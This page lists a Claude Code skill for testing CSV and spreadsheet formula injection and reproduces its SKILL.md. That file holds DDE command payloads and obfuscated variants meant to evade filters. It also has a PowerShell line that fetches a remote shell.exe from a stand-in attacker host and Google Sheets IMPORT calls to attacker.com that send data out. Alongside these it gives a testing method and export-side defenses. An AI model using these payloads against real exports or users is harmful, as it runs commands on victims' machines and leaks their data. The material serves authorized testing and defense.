Skip to main content
skill CX Codex

csv-formula-injection — Claude Code skill: spreadsheet formula

A skill for testing how CSV exports and spreadsheets handle formulas coming from user fields. Useful when reports or exports reach a spreadsheet.

Install into Claude Code · Skills CLI (Vercel) All methods and platforms ↓
npx skills add yaklang/hack-skills --skill csv-formula-injection -a claude-code
Open on GitHub

What csv-formula-injection does

The skill covers formula injection in CSV and spreadsheet contexts: leading =, +, -, @ in a cell, DDE calls in Excel and LibreOffice, and the IMPORTXML, IMPORTRANGE, IMPORTHTML, IMPORTFEED and IMPORTDATA functions in Google Sheets. A separate section deals with obfuscation, where a defensive parser strips obvious patterns and the payload gets split by whitespace.

The methodology runs in steps: map sinks that emit CSV, XLSX or TSV, trace user-controlled fields, inject benign arithmetic like =1+1, then open the file in the same software the victim uses. Evidence means noting whether the cell calculated, whether a security warning appeared, or whether a DDE prompt fired. The defense section lists ways to neutralize output: a leading apostrophe, a tab prefix, stripping leading triggers at export time.

The author states plainly that payloads invoking local commands or remote fetches are impactful — use them only where explicitly authorized, on lab targets, with documented consent. Client-side execution tests need program rules that allow them. If your export pipeline has no sanitization, this is worth a look before someone else finds it.

What it helps with

  • find report columns that reach a spreadsheet untouched
  • check whether a username executes as a formula on export open
  • capture an outbound request from Google Sheets to a callback you control
  • get past a parser that strips obvious formulas
  • block leading =, +, -, @ at export time

Example prompts for the agent

  • check the orders CSV export for formula injection
  • which profile fields land in the XLSX report without sanitization
  • build a checklist for the audit export before release

How to install csv-formula-injection

1Skills CLI (Vercel)

npx skills add yaklang/hack-skills --skill csv-formula-injection -a claude-code

2Manually: put the files in place

~/.claude/skills/csv-formula-injection/SKILL.md

Copy the whole skill folder; for one project use .claude/skills/csv-formula-injection/

Step by step, with commands for each platform: How to install skills in Claude Code: five ways

Questions about csv-formula-injection

How do I install csv-formula-injection in Claude?

Run npx skills add yaklang/hack-skills --skill csv-formula-injection -a claude-code. The skill file lands at ~/.claude/skills/csv-formula-injection/SKILL.md.

What does csv-formula-injection do?

It walks through formula injection in CSV and spreadsheets: DDE calls in Excel and LibreOffice, IMPORT* functions in Google Sheets, obfuscation, and a testing methodology. It also covers export-layer defenses.

Do these tests need authorization?

Yes. The skill requires explicit authorization and advises running payloads that invoke local commands or remote fetches on lab targets with documented consent.

Source text

SKILL.md · MIT
---
name: csv-formula-injection
description: >-
  CSV/spreadsheet formula injection (DDE, Excel/LibreOffice, Google Sheets IMPORT*). Use when exports, imports, or user fields feed spreadsheets or reporting tools.
---

# SKILL: CSV Formula Injection

> **AI LOAD INSTRUCTION**: This skill covers formula/DDE-style injection in CSV and spreadsheet contexts, obfuscation, cloud-sheet primitives, and safe testing methodology. Use only where **explicitly authorized**; payloads that invoke local commands or remote fetches are **impactful**—prefer lab targets and document consent. Do not target end users without program rules allowing client-side execution tests.

## 0. QUICK START

Characters that may trigger formula evaluation when a cell is opened in Excel, LibreOffice Calc, or similar (often only if the cell is interpreted as a formula):

```text
=
+
-
@
```

Test cells may look like:

```csv
name,value
test,=1+1
test,+1+1
test,-1+1
test,@SUM(1+1)
```

**Routing note**: when testing CSV exports, back-office reports, or user data opened in spreadsheets, prioritize these prefix characters.

---

## 1. DDE INJECTION (EXCEL / LIBREOFFICE)

Dynamic Data Exchange (DDE) and external call patterns historically abused in spreadsheets. Examples for **controlled lab** reproduction:

```text
DDE("cmd";"/C calc";"!A0")A0
```

```text
@SUM(1+1)*cmd|' /C calc'!A0
```

```text
=2+5+cmd|' /C calc'!A0
```

```text
=cmd|' /C calc'!'A1'
```

PowerShell-style chaining (lab only; replace host and payload with benign equivalents):

```text
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
```

---

## 2. OBFUSCATION

Defensive parsers may strip obvious patterns; testers may try noise and spacing (still only where allowed):

```text
AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
```

Extra whitespace after `=`:

```text
=         cmd|'/c calc.exe'!A
```

Dispersed characters / unusual spacing (conceptual pattern—adjust per parser):

```text
=    C    m D    |'/c calc.exe'!A
```

`rundll32` style:

```text
=rundll32|'URL.dll,OpenURL calc.exe'!A
```

---

## 3. GOOGLE SHEETS

If exported data is later opened in **Google Sheets**, or sheets pull from untrusted CSV, these functions can cause **outbound requests** or **cross-document data pulls**:

**Data exfiltration / probe (replace URL with your authorized callback):**

```text
=IMPORTXML("http://attacker.com/", "//a/@href")
```

Other high-risk imports:

```text
=IMPORTRANGE("spreadsheet_url", "range")
=IMPORTHTML("http://attacker.com/table", "table", 1)
=IMPORTFEED("http://attacker.com/feed.xml")
=IMPORTDATA("http://attacker.com/data.csv")
```

Document which function executed and what network side effects occurred.

---

## 4. TESTING METHODOLOGY

1. **Map sinks** — Any feature that emits **CSV, XLSX, or tab-separated** output: admin exports, audit logs, user rosters, billing reports, search results.
2. **Trace user-controlled fields** — Profile fields, ticket titles, transaction memos, tags, filenames in ZIP exports—any column that echoes stored input.
3. **Inject formula prefixes** — Start with benign arithmetic (`=1+1`, `+1+1`) to detect evaluation; escalate only per rules.
4. **Open in target software** — Match victim workflow: Excel desktop, LibreOffice, Google Sheets import, locale-specific decimal separators.
5. **Evidence** — Screenshot/capture whether the cell shows a calculated result, a security warning, or DDE prompt; note product version.

**Note**: focus on the `user input -> export -> opened in spreadsheet software` chain.

---

## 5. DEFENSE

Application and export-layer mitigations:

- **Prefix with single quote** — In many spreadsheet apps, leading `'` forces **text** interpretation: `'=cmd|...` displays literally.
- **Prefix with tab** — Some pipelines treat tab-prefixed fields as non-formula text when ingested correctly.
- **Strip or neutralize leading triggers** — Remove or escape leading `=`, `+`, `-`, `@` (and Unicode lookalikes) at export time.
- **CSV encoding** — Use consistent quoting; validate column types; avoid passing raw formula strings into financial/reporting templates without sanitization.
- **User education** — Do not enable external data / DDE without policy.

Example safe export transformation (conceptual):

```text
Input:  =1+1
Output: '=1+1   OR   \t=1+1   OR   (empty prefix) with escaped quotes per RFC 4180
```

**Note**: when correlating business exports, reports, and API export parameters, combine with injection, business-logic, and API-security skills.

© yaklang · MIT · yaklang/hack-skills

Similar skills

All skills for Security →

From the same set93

http2-specific-attacks A skill for assessing HTTP/2-specific attack paths such as h2c, pseudo-headers, HPACK, and multiplexing. Use it when an authorised target supports HTTP/2. CX Codex +1 3,600installs clickjacking A clickjacking playbook: find out whether a page can be framed and whether an invisible overlay can trigger a sensitive action. CX Codex +1 3,600installs jndi-injection A playbook for JNDI injection: lookup abuse over RMI and LDAP, JDK version limits, and post-8u191 bypasses. Useful when testing Java apps for Log4Shell. CX Codex +1 3,600installs active-directory-acl-abuse A playbook for abusing misconfigured Active Directory permissions: dangerous ACEs, DCSync, shadow credentials, LAPS and BloodHound paths. CX Codex +1 3,600installs expression-language-injection An Expression Language injection attack playbook for Java frameworks. Helps security testers detect and exploit vulnerabilities across SpEL, OGNL, and Java EL. CX Codex +1 3,600installs dependency-confusion Reviews dependency-confusion risk in manifests and CI. Use it for npm, pip, RubyGems, Maven, Composer, and Docker supply-chain checks. CX Codex +1 3,600installs subdomain-takeover A playbook for finding dangling CNAME, NS and MX records and claiming the resources behind them. Useful for pentests and bug bounty work. CX Codex +1 3,600installs http-host-header-attacks Playbook for HTTP Host header attacks: password reset poisoning, cache poisoning, routing SSRF, and virtual host bypass. Useful for auditing applications that trust incoming headers. CX Codex +1 3,600installs

Project sponsors

Companies that keep this analytics open
Gold sponsor

Impressions, clicks and code copies — open statistics. We keep the numbers public for the same reason NeBlask itself is public. Become a sponsor